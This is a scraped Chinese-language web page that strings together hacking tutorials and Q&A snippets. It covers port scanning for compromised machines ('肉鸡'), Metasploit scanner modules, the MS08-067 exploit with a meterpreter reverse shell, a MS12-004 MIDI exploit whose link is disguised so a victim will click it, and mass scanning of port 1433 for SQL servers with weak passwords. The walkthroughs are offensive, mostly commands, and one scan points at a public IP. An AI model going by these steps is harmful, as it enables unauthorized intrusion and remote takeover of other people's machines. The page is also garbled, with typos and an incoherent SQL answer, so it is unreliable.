什么是端口扫鸡
端口扫描指的是：一般用S扫描器能把开放这个端口扫描的机器扫描出来然后进一步的实行入侵,并得到系统权限的。
指定的端口批量扫描肉鸡端口是网络的通信大门 肉鸡是被黑客控制的机器也就是说通过具有指定端口并且具有漏洞的机器批量扫描。
如何用Metasploit扫描端口
一、调用Nmap进行扫描
进入msf命令行后直接输入nmap –v –sVip(具体命令和nmap一样)
二、MSF模块扫描
Use auxiliary/scanner/postscan/syn
先用搜索命令搜索有关端口扫描的工具：searchportscan
我们使用Use auxiliary/scanner/postscan/syn
看一下参数配置 showoptions
我们先来设置一下网卡
Set INTERFACE eth0
设置一下扫描的端口，我们这里来扫描80：set PORTS 80
设置扫描目标RHOSTS ：set RHOSTS 119.63.37.149
在设置一下线程：set THREADS 100
看一下我们设置好的
这时候我们都设置好了，我们来攻击下，看看效果，用命令run进行攻击
缺点就是扫描的速度有点慢啊
MetaSploit SMB扫描获取系统信息
还是搜索一下smb：searchsmb
这次发现搜出来很多，我们用这个模块
Use auxiliary/scanner/smb/smb_version
看一下需要设置的参数
设定目标ip：set RHOSTS 192.168.188.140
在设置一下线程：set THREAD 10
然后run一下，查看结果
直接扫描出来小伙伴的系统还有主机名，速度不到1s，很快
也可以批量扫描设置批量扫描目标即可 set RHOSTS 192.168.188.50-200
MetaSploit服务识别
我们这里对SSH和FTP进行识别
在这里使用这个模块：use auxiliary/scanner/ssh/ssh_version
然后我们设置一下参数，这里讲设置好的参数截图看一下
Run一下看看结果，其实没有扫出来，好像是屏蔽了，但是用nmap却扫出来了ssh
在试一下ftp，用这个模块：use auxiliary/scanner/ftp/ftp_version
设置下参数
可以看到结果，也没有扫描出来；
MetaSploit SNMP扫描与枚举
搜索一下snmpuse auxiliary/scanner/snmp/snmp_login
看一下他的参数设置
这个参数还是很多的
设定一下目标
然后在run一下
枚举用这个模块
use auxiliary/scanner/snmp/snmp_enum
设置好目标和线程后run一下就可以
MetaSploit远程代码执行
搜索一下08-067，使用这个攻击载荷
use exploit/windows/smb/ms08_067_netapi
同样来看一下参数设置
我们只要设置一下目标就可以，然后我们需要一个载荷来反弹shell
set payload windows/meterpreter/reverse_tcp
然后设置参数
将LHOST 设置为自己的ip（对外攻击不要忘了段口转发）
比如说知道对面的系统是什么版本，可以指定targer，用target查看一下都有什么版本
设置一下目标，假设我们目标机器的系统为10：set target 10
这时候，我们再来看一下其参数设置，发现比以前完备了好多
08-067是不会自动识别系统版本的，但是其他的可以自动识别，所以用其他攻击载荷的时候可以不用设置
然后输入exploit进行攻击即可
这时候会出来一个meterpreter
我们在里面输入shell，就会反弹一个shell
这样整个攻击过程就完成了
MetaSploit MIDI文件解析远程代码执行
还是来搜索12-004
设置下本机ip set SRVHOST ip
然后攻击
会生成一个连接，但是这个链接容易让人发现，所以我们可以伪装下ip利用URIPATH参数就可以伪装
在设置时，会发现报红，因为4444端口被占用了，所以我们改下监听端口 set LPORT 5555
然后生成连接
只要目标点了这个链接，那么我们就会上线一个shell
说一下，目标点击后我们这边并没有反映，我们需要输下session查看当前会话，会找到上线的机子，连接上线的机子
Session –I 1（id）
然后输入shell就可以拿到shell
如何用dos进行批量ip端口扫描，专门扫一个端口的ip段。
你说的是端口扫描对吧 用S扫描器 s tcp 开始ip 结束ip 端口 线程 /save 还有就是syn方式这个在XP还有WIN 7系统不能用 s syn 开始ip 结束ip 端口 /save
如何批量检测端口连通性，端口是否开放
1、百度”站长工具“，点击打开。
2、然后点击导航里的”其他工具“，选择”端口扫描“。
3、输入IP地址或者域名，点击”查询“即可。
sqlserver中常用的数据库对象错误的是
sqlserver中常用的数据库对象错误的是服务器名称写错。1433端口是SQL数据库端口，当一台服务器的SQL数据库存在弱口令就很容易被黑客攻击，现在比较流行的1433，1433抓服务器就是利用这个，黑客一般先利用端口扫描工具批量扫描ip，找到打开1433端口的主机（一般只有作为服务器使用的主机才会打开1433端口），再利用X-SCAN或者其他工具过滤出存在SQL弱口令的主机来。
0条大神的评论